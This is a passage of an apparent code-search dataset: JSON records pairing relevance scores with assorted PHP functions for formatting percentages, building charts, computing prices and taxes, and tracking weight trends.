$co){\n\t\t\t\t$arr[$de_name_map[$co['de']]] = round($co['t_score'],1);\n\t\t\t\t$total += $co['t_score']*$weights[$co['de']];\n\t\t\t}\n\t\t\t$arr['Total'] = round($total,1);\n\t\t\t\n\t\t\t$output_array []= $arr;\n\t\t}\n\t\n\t\t\treturn $praktika.array2html($output_array);\n\t}", "title": "" }, { "docid": "5c0ae9cc8d00d08f4773ed3d0c138b3b", "score": "0.5008896", "text": "public function sd()\n {\n return 100;\n }", "title": "" }, { "docid": "d7e6db66d4b11c94ab26e8538222923c", "score": "0.49929658", "text": "function chart($n, $showNumber = false)\r\n\t{\r\n\t\tif($n > 100) $n = 100;\r\n\t\t\r\n\t\t$output = '<div class=\"chartBG\">';\r\n\t\t\r\n\t\tif($showNumber) $output .= '<p>' . $this->Number->toPercentage($n) . '</p>';\r\n\t\t\r\n\t\t$output .= '<div class=\"chartFG\" style=\"width:' . $n . '%\">';\r\n\t\t\r\n\t\tif($showNumber) $output .= '<p>' . $this->Number->toPercentage($n) . '</p>';\r\n\t\t\r\n\t\t$output .= '</div></div>';\r\n\t\t\r\n\t\treturn $this->output($output);\r\n\t}", "title": "" }, { "docid": "5cf761f7bd5d8f8b0ba7bf91a970f598", "score": "0.49728328", "text": "public function getTendencyValue() : float\n {\n return $this->tendency;\n }", "title": "" }, { "docid": "9b8c4723cac11c78bade6a0f254fb245", "score": "0.49628165", "text": "function experience_format($value) {\r\n \r\n\treturn '<span class=\"experience\">'.number_format($value,0,\",\",\".\").'</span>';\r\n}", "title": "" }, { "docid": "1eed51dc3bbb69b36eb1af900a10762f", "score": "0.49503705", "text": "public function SummaryOfRate() {\n return $this->Rate . ' %';\n }", "title": "" }, { "docid": "ca3140d76848d621572ed2b8e1d9d37b", "score": "0.49386644", "text": "function the_comparison_points () {\n\t\t$comparison_array = $this->get_the_price_frequency();\n\t\t$content = \"<table class=\\\"tdr-comparison-points-table\\\"><thead><tr><td>Key</td><td>Value</td></tr></thead><tbody>\";\n\t\t\t// Display each key-value pair\n\t\t\tforeach ( $comparison_array as $key => $value ) {\n\t\t\t$content .= \"<tr><td>\" . esc_attr( urldecode( $key ) ) . \"</td><td>\" . esc_attr( urldecode( $value ) ) . \"</td></tr>\";\n\t\t\t}\n\t\t$content .=\t\"</tbody></table>\";\n\t\t$content = $this->the_setup( $content );\t\t\n\t\techo $content;\n\t}", "title": "" }, { "docid": "89dc224b437572c560d489af2d5405b4", "score": "0.4925848", "text": "public static function getPrevalenceRatesChart(){\n\t\t$from = Input::get('start');\n\t\t$to = Input::get('end');\n\t\t$months = json_decode(self::getMonths($from, $to));\n\t\t$testTypes = new Illuminate\\Database\\Eloquent\\Collection();\n\n\t\t$measures = Measure::where('measure_range', 'LIKE', '%Positive/Negative%')->get();\n\n\t\tforeach ($measures as $measure) {\n\t\t\t$objArray = $measure->testTypes()->first();\n\t\t\tif(!empty($objArray)){\n\t\t\t\tforeach ($measure->testTypes()->get() as $tType) {\n\t\t\t\t\t$testTypes->add($tType);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$options = '{\n\t\t \"chart\": {\n\t\t \"type\": \"spline\"\n\t\t },\n\t\t \"title\": {\n\t\t \"text\":\"'.trans('messages.prevalence-rates').'\"\n\t\t },\n\t\t \"subtitle\": {\n\t\t \"text\":'; \n\t\t if($from==$to)\n\t\t \t$options.='\"'.trans('messages.for-the-year').' '.date('Y').'\"';\n\t\t else\n\t\t \t$options.='\"'.trans('messages.from').' '.$from.' '.trans('messages.to').' '.$to.'\"';\n\t\t $options.='},\n\t\t \"credits\": {\n\t\t \"enabled\": false\n\t\t },\n\t\t \"navigation\": {\n\t\t \"buttonOptions\": {\n\t\t \"align\": \"right\"\n\t\t }\n\t\t },\n\t\t \"series\": [';\n\t\t \t$counts = count($testTypes);\n\t\t\t \tforeach ($testTypes as $testType) {\n\t\t \t\t$options.= '{\n\t\t \t\t\t\"name\": \"'.$testType->name.'\",\"data\": [';\n\t\t \t\t\t\t$counter = count($months);\n\t\t \t\t\tforeach ($months as $month) {\n\t\t \t\t\t$data = $testType->getPrevalenceCount($month->annum, $month->months);\n\t\t \t\t\t\tif($data->isEmpty()){\n\t\t \t\t\t\t\t$options.= '0.00';\n\t\t \t\t\t\t\tif($counter==1)\n\t\t\t \t\t\t\t\t$options.='';\n\t\t\t \t\t\t\telse\n\t\t\t \t\t\t\t\t$options.=',';\n\t\t \t\t\t\t}\n\t\t \t\t\t\telse{\n\t\t \t\t\t\t\tforeach ($data as $datum) {\n\t\t\t\t \t\t\t\t$options.= $datum->rate;\n\n\t\t\t\t \t\t\t\tif($counter==1)\n\t\t\t\t \t\t\t\t\t$options.='';\n\t\t\t\t \t\t\t\telse\n\t\t\t\t \t\t\t\t\t$options.=',';\n\t\t\t\t\t \t\t}\n\t\t \t\t\t\t}\n\t\t \t\t\t$counter--;\n\t\t\t\t \t\t}\n\t\t\t\t \t\t$options.=']';\n\t\t\t\t \tif($counts==1)\n\t\t\t\t\t\t\t$options.='}';\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t$options.='},';\n\t\t\t\t\t\t$counts--;\n\t\t\t\t\t}\n\t\t\t$options.='],\n\t\t \"xAxis\": {\n\t\t \"categories\": [';\n\t\t $count = count($months);\n\t \tforeach ($months as $month) {\n\t \t\t\t\t$options.= '\"'.$month->label.\" \".$month->annum;\n\t \t\t\t\tif($count==1)\n\t \t\t\t\t\t$options.='\" ';\n\t \t\t\t\telse\n\t \t\t\t\t\t$options.='\" ,';\n\t \t\t\t\t$count--;\n\t \t\t\t}\n\t $options.=']\n\t\t },\n\t\t \"yAxis\": {\n\t\t \"title\": {\n\t\t \"text\": \"'.trans('messages.prevalence-rates-label').'\"\n\t\t },\n\t \"min\": \"0\",\n\t \"max\": \"100\"\n\t\t }\n\t\t}';\n\treturn $options;\n\t}", "title": "" }, { "docid": "762d73a5f2866c858c99b4243cee92fa", "score": "0.49200094", "text": "public function outputTotalTimeTab()\n {\n $this->tabresults[\"total\"] = $this->totalTime.\" \".$this->textUnit.\" used\";\n }", "title": "" }, { "docid": "952e9571f7833d242c0c263c23f8ecc8", "score": "0.49107224", "text": "public function tonnage();", "title": "" }, { "docid": "803c74196a81224717dd12645a620a6b", "score": "0.49034816", "text": "private function GetAverage () {\r\n\r\n $phy = $this->GetPercentageForToday(PHY_PERIOD);\r\n $emo = $this->GetPercentageForToday(EMO_PERIOD);\r\n $int = $this->GetPercentageForToday(INT_PERIOD);\r\n\r\n if ($phy['trend'] + $emo['trend'] + $int['trend'] >= 2)\r\n $avg_trend = 1;\r\n else\r\n $avg_trend = 0;\r\n\r\n return array ('percent' => ceil(($phy['percent'] + $emo['percent'] + $int['percent']) / 3),\r\n 'trend' => $avg_trend);\r\n\r\n }", "title": "" }, { "docid": "baedaaee2eb17c6ca7c2bf00a48fbf40", "score": "0.49006075", "text": "public function outputTotalTime()\n {\n self::out(\"<p clas='secondary label'>Temps total : \".$this->totalTime.\" \".$this->textUnit.\" used</p>\");\n }", "title": "" }, { "docid": "22f686781c14411a09a6ce101fd6c59c", "score": "0.48901582", "text": "public function xmasBonus() {\r\n if ($this->age <=10) {\r\n return \"20$\";\r\n } elseif ($this->age >10 && $this->age <=15) {\r\n return \"30$\";\r\n }elseif ($this->age >=16 && $this->age <=18) {\r\n return \"50$\";\r\n } \r\n }", "title": "" }, { "docid": "c75793c3e6578eb0a8223e772187657f", "score": "0.48832834", "text": "function calculeaza_tva($_pret) {\n\tglobal $tva; // variabila globala\n\n\t$pret_cu_tva = $_pret * $tva;\n\treturn \"pret fara tva: <b>$_pret</b> Pret cu tva: <b>$pret_cu_tva</b>\" ;\n}", "title": "" }, { "docid": "177ef71ef9c085e01fc69aec1d566722", "score": "0.48782083", "text": "public function trending($currency)\n {\n $this->request->allowMethod('get');\n $this->add_model(array('Api.News', 'Api.Trader'));\n if (!empty($currency)) {\n $exchangeInfo = $this->Trader->__getTraderInfoFromCurrency($currency);\n $trending = $this->News->getTraderNews($exchangeInfo);\n if (!empty($trending)) {\n $this->apiResponse['data'] = $this->News->formatImageUrl($trending);\n } else {\n $this->apiResponse['data'] = [];\n }\n } else {\n $this->httpStatusCode = 403;\n $this->apiResponse['error'] = 'Please provide currency info.';\n }\n }", "title": "" }, { "docid": "dc786d7e8da237246a26918c4e03b3c1", "score": "0.48694366", "text": "function progress($nb_ep_vus, $nb_ep_total, $statut) { \n\n\tif($statut == '4') {\n\t\t$nb_ep_vus = $nb_ep_total;\n\t}\n\n\t$sur100 = $nb_ep_total/100;\n\t$vus = $nb_ep_vus/$sur100;\t\n\t$restant = $nb_ep_total - $nb_ep_vus;\n\t?>\n\n\t\n\t<div class=\"progress\">\n\t\t<div id=\"id_progress\" class=\"progress-bar\" role=\"progressbar\" aria-valuenow=\"<?= $nb_ep_vus; ?>\" aria-valuemin=\"0\" aria-valuemax=\"100\" style=\"width:<?= $vus; ?>%\">\n\t\t</div>\n\t</div>\n\t<span class=\"progress_txt\">\n\t<?php\n\tif($restant == 0 && $statut == '4') {\n\t\t\techo 'Série terminée';\n\t\t} elseif($restant == 0) {\n\t\t \techo 'A jour !';\n\t\t} elseif($restant == 1) {\n\t\t\techo '<span class=\"nb_vus\">1</span> épisode à voir';\n\t\t} else {\n\t\t\techo '<span class=\"nb_vus\">'.$restant.'</span> épisodes à voir';\n\t\t}\n\techo '</span>';\n}", "title": "" }, { "docid": "e9b2e1028abd730c21f17f677c695638", "score": "0.48684746", "text": "function generate_stats($user_id, $start, $end, $unit=\"\", $goal_weight=0, $goal_date=\"\") {\r\n\tglobal $table_prefix;\r\n\r\n\t// TODO: make sure this code works for positive trends (aka gaining weight)\r\n\r\n\t$query = \"select date, weight, trend from \".$table_prefix.\"hackdiet_weightlog where wp_id = $user_id and date >= '$start' and date <= '$end' order by date asc\";\r\n\t$result = mysql_query($query);\r\n\tif (mysql_num_rows($result)) {\r\n\t\twhile ($row = mysql_fetch_object($result)) {\r\n\t\t\t// min/max stuff\r\n\t\t\tif ($row->weight < $stats[\"min_weight\"]) {\r\n\t\t\t\t$stats[\"min_weight\"] = $row->weight;\r\n\t\t\t} else if (!$stats[\"min_weight\"]) {\r\n\t\t\t\t$stats[\"min_weight\"] = $row->weight;\r\n\t\t\t}\r\n\t\t\tif ($row->weight > $stats[\"max_weight\"]) {\r\n\t\t\t\t$stats[\"max_weight\"] = $row->weight;\r\n\t\t\t}\r\n\t\t\tif ($row->trend < $stats[\"min_trend\"]) {\r\n\t\t\t\t$stats[\"min_trend\"] = $row->trend;\r\n\t\t\t} else if (!$stats[\"min_trend\"]) {\r\n\t\t\t\t$stats[\"min_trend\"] = $row->trend;\r\n\t\t\t}\r\n\t\t\tif ($row->trend > $stats[\"max_trend\"]) {\r\n\t\t\t\t$stats[\"max_trend\"] = $row->trend;\r\n\t\t\t}\r\n\r\n\t\t\t// pack trends into an array for calcs\r\n\t\t\t$trends[] = $row->trend;\r\n\t\t}\r\n\r\n\t\t// calcs\r\n\t\t// y = mx + b for collection of data points $trends\r\n\t\t$n = count($trends);\r\n\t\tfor ($i = 1; $i <= $n; $one += $i * $trends[$i-1], ++$i);\r\n\t\tfor ($i = 1; $i <= $n; $two += $i, ++$i);\r\n\t\tfor ($i = 1; $i <= $n; $three += $trends[$i-1], ++$i);\r\n\t\tfor ($i = 1; $i <= $n; $four += pow($i, 2), ++$i);\r\n\t\t$num = ($n * $one) - ($two * $three);\r\n\t\t$denom = ($n * $four) - pow($two, 2);\r\n\t\tif ($denom != 0) {\r\n\t\t\t$m = $num / $denom;\r\n\t\t} else {\r\n\t\t\t$m = 0;\r\n\t\t}\r\n\t\t$stats[\"weekly_change\"] = round(7 * $m, 1);\r\n\t\t$stats[\"daily_variance\"] = round(calories_per_unit($unit) * $m);\r\n\r\n\t\t// only figure out if on_target if they supplied goals and there is more than one date\r\n\t\tif ($goal_weight && count($trends) > 1) {\r\n\t\t\t$to_go = $trends[count($trends)-1] - $goal_weight;\r\n\t\t\t$days_left = round($to_go / ($m * -1));\r\n\r\n\t\t\tif ($to_go < 0) {\r\n\t\t\t\t$stats[\"hit_goal\"] = false;\r\n\t\t\t} else {\r\n\t\t\t\t$stats[\"hit_goal\"] = true;\r\n\t\t\t}\r\n\r\n\t\t\tif ($goal_weight && !$goal_date) {\r\n\t\t\t\t// they only know what\r\n\t\t\t\tif ($days_left > 0) {\r\n\t\t\t\t\t// losing weight\r\n\t\t\t\t\t$stats[\"on_target\"] = true; // if you dont have a target you can't miss it, right?\r\n\t\t\t\t\t$stats[\"new_date\"] = date(\"Y-m-d\", strtotime(\"now +$days_left days\"));\r\n\t\t\t\t} else {\r\n\t\t\t\t\t// gaining weight\r\n\t\t\t\t\t$stats[\"on_target\"] = false;\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\t// TODO: make sure that the goal date is in the future, otherwise return blanks since we can't compute\r\n\t\t\t\t// they know what and when\r\n\t\t\t\t$fantasy = strtotime($goal_date);\r\n\t\t\t\t$reality = strtotime(\"now +$days_left days\");\r\n\t\t\t\t\r\n\t\t\t\tif ($days_left > 0) {\r\n\t\t\t\t\t$stats[\"new_date\"] = date(\"Y-m-d\", $reality);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$diff = abs($fantasy - $reality);\r\n\r\n\t\t\t\tif ($days_left > 0 and $reality <= $fantasy or $diff < (60 * 60 * 24)) {\r\n\t\t\t\t\t// ahead of schedule!\r\n\t\t\t\t\t$stats[\"on_target\"] = true;\r\n\t\t\t\t} else {\r\n\t\t\t\t\t// you're slackin', fatboy!\r\n\t\t\t\t\t$stats[\"on_target\"] = false;\r\n\r\n\t\t\t\t\t$most_recent_weight = $trends[count($trends)-1];\r\n\t\t\t\t\t$current_daily_loss_rate = ($m * -1);\r\n\t\t\t\t\t$days_until_goal = ($fantasy - strtotime(\"now\")) / 60 / 60 / 24;\r\n\r\n\t\t\t\t\t// val = most recent weight - (current daily loss rate * days until goal)\r\n\t\t\t\t\t$weight_at_goal_date = $most_recent_weight - ($current_daily_loss_rate * $days_until_goal);\r\n\t\t\t\t\t// val = weight difference b/t goal and reality converted to calories\r\n\t\t\t\t\t$extra_cals_to_burn = ($weight_at_goal_date - $goal_weight) * calories_per_unit($unit);\r\n\r\n\t\t\t\t\tif ($days_until_goal != 0) {\r\n\t\t\t\t\t\t// val = extra calories spread evenly among days until goal\r\n\t\t\t\t\t\t$stats[\"extra_variance\"] = round(($extra_cals_to_burn / $days_until_goal)) * -1;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\t$stats[\"extra_variance\"] = 0;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\treturn $stats;\r\n}", "title": "" }, { "docid": "406297bcc50563b28e186e2d80232c92", "score": "0.48573422", "text": "public function getInltrvalpct()\n {\n return $this->inltrvalpct;\n }", "title": "" }, { "docid": "d08392af2f91f8aeb66de37700ea3201", "score": "0.4855056", "text": "function population_view($n) \n{\n global $lang;\n $maxlow = 100;\n $maxmedium = 500;\n if($n <= $maxlow)\n\t{\n return '<font color=\"green\">' . $lang['low'] . '</font>';\n }\n\telseif($n > $maxlow && $n <= $maxmedium)\n\t{\n return '<font color=\"orange\">' . $lang['medium'] . '</font>';\n }\n\telse\n\t{\n return '<font color=\"red\">' . $lang['high'] . '</font>';\n }\n}", "title": "" }, { "docid": "cdb90e5aa4129c73b1139997358a25ee", "score": "0.4851083", "text": "function strength_format($value) {\r\n \r\n\treturn '<span class=\"strength\">'.number_format($value,0,\",\",\".\").'</span>';\r\n}", "title": "" }, { "docid": "1be696079b69a57fc2eb66ae915448d1", "score": "0.48489955", "text": "function f_prix_ttc($price,$taux_tva,$price_supp_decl,$reduction_price,$reduction_percent){\r\n\t\t$price_ttc\t=(($price*$taux_tva)/100)+$price+$price_supp_decl;\r\n\t\t\r\n\t\t// Si réduction en %\r\n\t\tif($reduction_percent<>0 && $reduction_price==0){\r\n\t\t\t$price_ttc=$price_ttc*(1.0-($reduction_percent/100.0));\t\t\r\n\t\t}\r\n\t\t// Si montant de réduction\r\n\t\tif($reduction_price<>0 && $reduction_percent==0){\r\n\t\t\t$price_ttc\t= $price_ttc-$reduction_price;\r\n\t\t}\r\n\t\t$price_ttc\t= number_format(round($price_ttc,2),2,\".\",\"\");\r\n\t\treturn $price_ttc;\t\r\n\t}", "title": "" }, { "docid": "3c802fabb022280dec3114db22245500", "score": "0.4839344", "text": "public function example() {\r\n $stocksTable = \\Lava::DataTable();\r\n $stocksTable->addDateColumn('Day of Month')\r\n ->addNumberColumn('Projected')\r\n ->addNumberColumn('Official');\r\n\r\n //random data for example\r\n for ($a = 1; $a < 30; $a++) {\r\n $rowData = array(\r\n \"2014-8-$a\", rand(800, 1000), rand(800, 1000)\r\n );\r\n\r\n $stocksTable->addRow($rowData);\r\n }\r\n /*\r\n $stocksTable->addColumns(array(\r\n array('date','Day of Month'),\r\n array('number','Projected'),\r\n array('number','Official')\r\n )); */\r\n\r\n //Creaing a chart\r\n $lineChart = \\Lava::LineChart('Stocks')\r\n ->dataTable($stocksTable)\r\n ->title('Stock Market Trends');\r\n\r\n\r\n return view('jeesoo.chartExample')->with('lineChart', $lineChart);\r\n }", "title": "" }, { "docid": "b1fe87467926b47817584d80f9f872db", "score": "0.48304802", "text": "public function getVatRate(): float;", "title": "" }, { "docid": "78a36c68610ea623b98d3cfa318fd305", "score": "0.4824529", "text": "function show_price($value){\n return number_format((float)$value, 2);\n }", "title": "" }, { "docid": "cc89572eb5d5900e6fb4b67f55c8c20d", "score": "0.48232687", "text": "public function chart()\n {\n $result = '';\n\n $ranking = $this->_benchmark->matrix()->ranking();\n\n $maxLength = 0;\n\n $maxRate = 0;\n\n foreach($ranking as $task) {\n if ($task->failed()) {\n continue;\n }\n if ($task->rate() > $maxRate){\n $maxRate = $task->rate();\n }\n if (mb_strlen($task->name()) > $maxLength){\n $maxLength = mb_strlen($task->name());\n }\n }\n\n foreach($ranking as $task) {\n $name = $task->name();\n $result .= $this->mb_str_pad($name, $maxLength, ' ', STR_PAD_RIGHT);\n\n if ($task->failed()) {\n $ratio = 0;\n $result .= $this->mb_str_pad('x', 10);\n } else {\n $rate = $task->rate();\n $ratio = ($rate / $maxRate);\n $result .= $this->mb_str_pad(round($ratio*100) . '%', 10);\n }\n $result .= ' | ';\n\n $width = 60;\n $chars = (int) ($width * $ratio);\n $result .= str_repeat('█', $chars);\n $result .= str_repeat(' ', $width - $chars );\n $result .= \" |\\n\";\n }\n return $result;\n }", "title": "" }, { "docid": "4f1952450afe13dd0ab13c8dee657d81", "score": "0.48228505", "text": "public function results()\n {\n $txt = '';\n foreach ($this->aTime as $name => $el)\n {\n $txt .= $name.'='.number_format($el['total'], 2).\"<br />\";\n }\n return $txt;\n }", "title": "" }, { "docid": "3fcf6123db1443db1181df885bcdfedf", "score": "0.48196596", "text": "function fact_dev( $libelle, $num )\n{\n $r1 = $this->w - 201;\n $r2 = $r1 + 80;\n $y1 = 55;\n $y2 = $y1 + 2;\n $mid = ($r1 + $r2 ) / 2;\n \n $texte = $libelle; \n $szfont = 20;\n $loop = 0;\n \n while ( $loop == 0 )\n {\n $this->SetFont( \"Arial\", \"B\", $szfont );\n $sz = $this->GetStringWidth( $texte );\n if ( ($r1+$sz) > $r2 )\n $szfont --;\n else\n $loop ++;\n }\n\n \n \n $this->SetXY( $r1+1, $y1+2);\n $this->SetTextColor(0,0, 0);\n $this->Cell($r2-$r1 -1,5, $texte, 0, 0, \"L\" );\n $this->Line(10,38,200,38);\n\t$this->Line(10,38.2,200,38.2);\n\t$this->Line(10,38.3,200,38.3);\n\t$this->Line(10,38.4,200,38.4);\n\t$this->Line(10,39.5,200,39.5);\n}", "title": "" }, { "docid": "5af83c2ae600d3aed6661cc801c595e6", "score": "0.48140976", "text": "function calculate_differences($ventas, $coste) {\n\n $difference = $ventas - $coste;\n\n if ($difference < 0) { \n $color = 'red';\n $difference = '$' . abs($difference) . ' million';\n } elseif ($difference > 0) {\n $color ='green';\n $difference = '$' . $difference . ' million';\n } else {\n $color = 'blue';\n $difference = 'broke even';\n }\n\n return '<span style=\"color:' . $color . ';\">' . $difference . '</span>';\n}", "title": "" }, { "docid": "93c99409131dc4717553d3bd5fc501ab", "score": "0.4806734", "text": "function displayStats(){\n\tglobal $date, $users, $groups, $events, $eventsPush, $visits;\n\t$eventTitle\t \t = ($events == 1) ? 'event' : 'events';\n\t$eventpushTitle = ($eventsPush == 1) ? 'event push' : 'events push';\n\techo'\n\t<tr>\n\t\t<td><span class=\"miscTitles\">'.$date.'</span> </td>\n\t\t<td><span class=\"miscTitles\">'.$users.'</span> users </td>\n\t\t<td><span class=\"miscTitles\">'.$groups.'</span> groups </td>\n\t\t<td><span class=\"miscTitles\">'.$events.'</span> '.$eventTitle.' </td>\n\t\t<td><span class=\"miscTitles\">'.$eventsPush.'</span> '.$eventpushTitle.' </td>\n\t\t<td><span class=\"miscTitles\">%'.$visits.'</span> daily visits</td>\n\t</tr>';\n}", "title": "" }, { "docid": "db4ae0e2bff6f39aa272bf0015671c87", "score": "0.48050398", "text": "public function displayResult():void\n {\n echo $this->operand1 . ' + ' . $this->operand2 . ' = ' . $this->getSumm() . '<br>';\n echo $this->operand1 . ' - ' . $this->operand2 . ' = ' . $this->getSubtraction() . '<br>';\n echo $this->operand1 . ' * ' . $this->operand2 . ' = ' . $this->getMultiplication() . '<br>';\n }", "title": "" }, { "docid": "57df4086e5b71edcbda6efd959722577", "score": "0.47940606", "text": "function outputmyTax()\n {\n echo OH_TAX_RATE;\n }", "title": "" }, { "docid": "c212b5f2f15aacc1b1dfdc32eb31f990", "score": "0.47903278", "text": "public function testRetentionCurveRenderTest()\n {\n $response = $this->get('/stats');\n\n $response->assertSee('Weekly Retention Curves, Temper');\n }", "title": "" }, { "docid": "caf5a014b75b8923471a1d98152017d9", "score": "0.47780284", "text": "public function getTaxRate();", "title": "" }, { "docid": "caf5a014b75b8923471a1d98152017d9", "score": "0.47780284", "text": "public function getTaxRate();", "title": "" }, { "docid": "0ea49bd24a5b0a765aa8dbc32ea083cc", "score": "0.47728378", "text": "public function display($value){\n echo\"<pre>\",print_r($value,true),\"</pre>\";\n die();\n }", "title": "" }, { "docid": "171d5257907630c9cece6e4eb1ff7531", "score": "0.47698495", "text": "function displayTop100Data($startDate,$endDate,$week){\n\n //$lines=\"<div style='margin-left:10px'>\";\n /*$lines.=\"<H2>Displaying top results for Week \".$week .\" between \".$startDate.\" and \".$endDate.\"</H2><br/>\";\n\n // $lines='';\n $query=\"SELECT SKU,Title,SUM(QTY) AS output,SellingPrice,SUM(SellingPrice*Qty) FROM EbayTransactions Where SKU!='' AND SellingPrice > 0.00 AND CreationDate <='\".$endDate.\"'and CreationDate >='\".$startDate.\"' GROUP BY Title ORDER BY `output` DESC\";\n \n\t //$querySession=\"SET SESSION group_concat_max_len = 1000000\";\n\t //mysql_query($querySession);\n\t //query to check for the multiple rates\n\t //$query=\"SELECT SKU,Title,GROUP_concat(Qty) AS output,group_concat(SellingPrice),sum(qty) as output,sum(qty*SellingPrice)\n FROM EbayTransactions Where SKU!='' AND SellingPrice > 0.00 AND CreationDate <='\".$endDate.\"'and CreationDate >='\".$startDate.\"' GROUP BY Title ORDER BY `output` DESC\";\n\t\t\n\n\n //echo $query;\n $result= mysql_query($query);\n $rowsnum = mysql_num_rows($result);\n if($rowsnum==0)\n {\n $lines.= \"No results found\";\n //return;\n }\n else\n {\n $lines.=\"<table border='1'><tr><th>Sno</th><th>SKU</th><th>Item</th><th>Quantity Sold</th><th>Selling Price</th><th>Amount</th></tr>\";\n\n $count=1;\n $total=0.0;\n for($j=0;$j<$rowsnum;$j++)\n {\n $row=mysql_fetch_row($result);\n\t\t\t//$listSP=explode(\",\",$row[3]);\n\t\t\t\n\t\t\t//if(sizeof(array_unique($listSP))>1)\n\t\t\t//{\n\t\t\t\n //$lines.=\"<tr><td>\".$count++.\"</td><td>\".$row[0].\"</td><td>\".$row[1].\"</td><td>\".$row[2].\"</td></tr>\";\n $lines.=\"<tr><td>\".$count++.\"</td><td>\".$row[0].\"</td><td>\".$row[1].\"</td><td>\".$row[2].\"</td><td>\".$row[3].\"</td><td>\".$row[4].\"</td></tr>\";\n $total+=floatval($row[4]);\n\t\t\t//}\n }\n $lines.=\"<tr><td></td><td></td><td></td><td></td><td><b>Total Selling:</b></td><td><b>\".number_format($total, 2, '.', ',').\"$</b></td></tr>\";\n $lines.=\"</table>\";\n }\n $lines.=\"</div><br/>\";\n\t\n\t*/\n\t\n\t\n\t$msg.=\"<H2>Displaying top results for Week \".$week .\" between \".$startDate.\" and \".$endDate.\"</H2><br/>\";\n\t$lines='';\n $lines.=getResult($startDate,$endDate,$msg);\n return $lines;\n \n //return;\n}", "title": "" }, { "docid": "c14ecacc653920acdc7204e895be9d27", "score": "0.47675908", "text": "function isTrending()\r\n {\r\n return $this->_isTrending;\r\n }", "title": "" }, { "docid": "ce187c3e808abd7f118f0484137dd0e2", "score": "0.4764542", "text": "public static function print_ast_eval_history($vol=0){\n $eval_content_arr = self::read_vol_ast_eval_history($vol);\n\n\t\tprint \"\n\t\t<h3>Evaluation History</h3>\n\t\t<table class='table fixed_headers'>\n\t\t<thead>\n\t\t<tr>\n\t\t<th class='date'></th>\n\t\t<th colspan=3>Low</th>\n\t\t<th colspan=3>Middle</th>\n\t\t<th colspan=3>High</th>\n\t\t</tr><tr>\";\n\t\tprint \"<th class='date'>date</th>\";\n\n\t \tprint \"<th>Match</th>\";\n\t \tprint \"<th>ToMid</th>\";\n\t \tprint \"<th>ToHigh</th>\";\n\t \n\t \t\n\n\t \tprint \"<th>ToLow</th>\";\n\t \tprint \"<th>Match</th>\";\n\t \tprint \"<th>ToHigh</th>\";\n\n\n\t\tprint \"<th>ToLow</th>\";\n\t \tprint \"<th>ToMid</th>\";\n\t \tprint \"<th>Match</th>\";\n\n\t \tprint \"</tr>\n\t \t</thead>\n\t \t<tbody>\";\n\t foreach($eval_content_arr as $val){\n\n\t \t$total = 0;\n\t \tforeach($val as $kv=>$vv){\n\t \t\tif($kv !== \"date\"){$total += count($vv);}\t\n\t \t}\n\n\t \tprint \"<tr>\";\n\t \tprint \"<td class='date'>\".substr($val['date'],5,5).\"</td>\";\n\n\t \tif(count($val[LOW_NotEnoughCapacity])){\n\t\t\tprint \"<td colspan=3>\".number_format(((count($val[LOW_NotEnoughCapacity])/$total)*100),2).\"% No Capacity !</td>\";\n\t \t}else{\n\t \tprint \"<td>\".number_format(((count($val[LOW_Match])/$total)*100),2).\"%</td>\";\n\t \tprint \"<td>\".number_format(((count($val[LOW_UpgradeToMiddle])/$total)*100),2).\"%</td>\";\n\t \tprint \"<td>\".number_format(((count($val[LOW_UpgradeToHigh])/$total)*100),2).\"%</td>\";\n\t \t}\n\t \t\n\n\t \tif(count($val[MID_NotEnoughCapacity])){\n\t\t\tprint \"<td colspan=3>\".number_format(((count($val[MID_NotEnoughCapacity])/$total)*100),2).\"% No Capacity !</td>\";\n\t \t}else{\n\t \tprint \"<td>\".number_format(((count($val[MID_DowngradeToLow])/$total)*100),2).\"%</td>\";\n\t \tprint \"<td>\".number_format(((count($val[MID_Match])/$total)*100),2).\"%</td>\";\n\t \tprint \"<td>\".number_format(((count($val[MID_UpgradeToHigh])/$total)*100),2).\"%</td>\";\n\t \t}\n\n\n\t \tif(count($val[HIGH_NotEnoughCapacity])){\n\t\t\tprint \"<td colspan=3>\".number_format(((count($val[HIGH_NotEnoughCapacity])/$total)*100),2).\"% No Capacity !</td>\";\n\t \t}else{\n\t\tprint \"<td>\".number_format(((count($val[HIGH_DowngradeToLow])/$total)*100),2).\"%</td>\";\n\t \tprint \"<td>\".number_format(((count($val[HIGH_DowngradeToMiddle])/$total)*100),2).\"%</td>\";\n\t \tprint \"<td>\".number_format(((count($val[HIGH_Match])/$total)*100),2).\"%</td>\";\n\t \t}\n\n\t \tprint \"<tr>\";\n\t }\n\t print \"\n\t </tbody>\n\t </table>\";\n}", "title": "" }, { "docid": "7246c355bef6e6f0a8f15ebde2b47d54", "score": "0.47643206", "text": "public function output($value) \n {\n return (float)$value;\n }", "title": "" }, { "docid": "20d59e6d02fa9a5a340d47de686b09f7", "score": "0.47631446", "text": "public function getAggregateSeries(){\n //nilai total akhir/konversi = total nilai akhir / konversi bobot\n //total nilai akhir = jumlah nilai akhir seluruh indikator pada bulan tertentu\n //bobot = total bobot dimana nilai akhir tidak sama dengan 0\n }", "title": "" }, { "docid": "8347eeaa99855a3fc06f8ff936e6a0a4", "score": "0.4762986", "text": "function popust($popust){\n $prava = this->cena - this->cena*($popust / 100);\n echo $prava;\n }", "title": "" }, { "docid": "cfc1c78bc5576bed076e7d2a0e21ed75", "score": "0.47582662", "text": "function showallcalculated(){\n $calculated = Calculated::findAllFrom('Calculated', 'id=id ORDER BY start_date ASC');\n\t\n\t$formatEN = '%A, %d %B %Y';\n echo '<div class=\"training-list\">';\n\techo '<ul>';\n foreach ($calculated as $n) {\n\t\t\techo '<li><h3>'.strftime($formatEN,strtotime($n->getStartDate())).'&nbsp;-&nbsp;'; echo strftime($formatEN,strtotime($n->getEndDate())).'</h3></li>';\n }\n\techo '</ul>';\n echo '</div>';\n}", "title": "" }, { "docid": "28670687159bfa9560fe941d1da0c291", "score": "0.47514027", "text": "public function Nice()\n {\n if (isset($this->value)) {\n self::init();\n $val = self::$currencySymbol . number_format(abs($this->value), 2, self::$decimalDelimiter, self::$thousandDelimiter);\n if ($this->value < 0) {\n return \"($val)\";\n } else {\n return $val;\n }\n }\n }", "title": "" }, { "docid": 